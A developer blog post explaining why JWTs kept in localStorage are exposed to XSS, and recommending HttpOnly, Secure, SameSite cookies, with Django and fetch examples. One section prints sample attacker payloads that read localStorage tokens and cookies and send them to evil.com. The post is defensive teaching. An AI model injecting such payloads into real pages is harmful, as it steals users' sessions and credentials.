Back to Blog
February 18, 20261,000 views

Stop Using localStorage for Auth Tokens: A Security Deep Dive

Why storing JWTs in localStorage is a security vulnerability, how XSS attacks exploit it, and the correct way to handle authentication tokens in modern web applications.

The Problem Everyone Ignores

Go to any Next.js or React tutorial about JWT authentication. 90% of them will show you this:

// DON'T DO THIS
const login = async (credentials) => {
  const res = await fetch('/api/auth/login', { ... });
  const { access_token } = await res.json();
  localStorage.setItem('token', access_token); // <-- VULNERABLE
};

This is a Cross-Site Scripting (XSS) vulnerability. Any JavaScript running on your page can read localStorage. If an attacker injects even one line of JavaScript (via a third-party script, npm supply chain attack, or unescaped user input), they steal every user's auth token.

How XSS Steals localStorage Tokens

An attacker doesn't need to hack your server. They just need to run JavaScript on your page:

// Attacker's payload (injected via comment field, ad script, etc.)
new Image().src = 'https://evil.com/steal?token=' 
  + localStorage.getItem('token');

// Or they exfiltrate via fetch
fetch('https://evil.com/collect', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('token'),
    cookies: document.cookie,
    url: window.location.href
  })
});

Common XSS vectors: unescaped dangerouslySetInnerHTML, compromised npm packages, third-party analytics/chat scripts, user-generated content rendered as HTML.

The Correct Approach: HttpOnly Cookies

Store tokens in HttpOnly, Secure, SameSite cookies. JavaScript cannot read HttpOnly cookies β€” they're sent automatically by the browser with every request.

# Django backend: set token as HttpOnly cookie
from django.http import JsonResponse

def login_view(request):
    user = authenticate(request)
    access_token = generate_jwt(user)
    refresh_token = generate_refresh_token(user)
    
    response = JsonResponse({'user': serialize(user)})
    
    # HttpOnly: JavaScript can't read it (XSS safe)
    # Secure: only sent over HTTPS
    # SameSite=Lax: prevents CSRF on most requests
    response.set_cookie(
        'access_token', access_token,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=15 * 60,  # 15 minutes
        path='/',
    )
    response.set_cookie(
        'refresh_token', refresh_token,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=7 * 24 * 60 * 60,  # 7 days
        path='/api/auth/refresh/',  # only sent to refresh endpoint
    )
    return response

Frontend: No Token Management Needed

With HttpOnly cookies, the frontend doesn't touch tokens at all. The browser handles everything:

// Frontend: cookies are sent automatically
const getProfile = async () => {
  const res = await fetch('/api/profile/', {
    credentials: 'include',  // include cookies
  });
  return res.json();
};

// No localStorage, no token parsing, no auth headers
// The browser sends the HttpOnly cookie automatically

Comparison: localStorage vs HttpOnly Cookies

Attack VectorlocalStorageHttpOnly Cookie
XSS (script injection)Token stolenToken safe (JS can't read)
CSRF (cross-site request)Safe (not auto-sent)Protected by SameSite=Lax
npm supply chain attackToken stolenToken safe
Browser extension accessToken readableToken hidden
Network sniffingIf sent in header: visibleSecure flag: HTTPS only

What About CSRF?

The common argument for localStorage is 'cookies are vulnerable to CSRF.' This was true 10 years ago. Modern browsers support SameSite=Lax which blocks cross-origin requests from sending cookies. Combined with Django's CSRF middleware for state-changing requests, CSRF is effectively eliminated.

For extra safety, use the double-submit cookie pattern: the server sets a non-HttpOnly CSRF token cookie, the frontend reads it and sends it as a header, the server verifies they match.

The Bottom Line

If you're building authentication in 2026, use HttpOnly cookies. The XSS attack surface of localStorage is too large, especially with modern apps loading dozens of third-party scripts. Your users' sessions depend on it.

Security is not a feature you add later. The choice between localStorage and HttpOnly cookies is the difference between 'we got hacked' and 'the attack was mitigated.'

β€” OWASP Authentication Cheat Sheet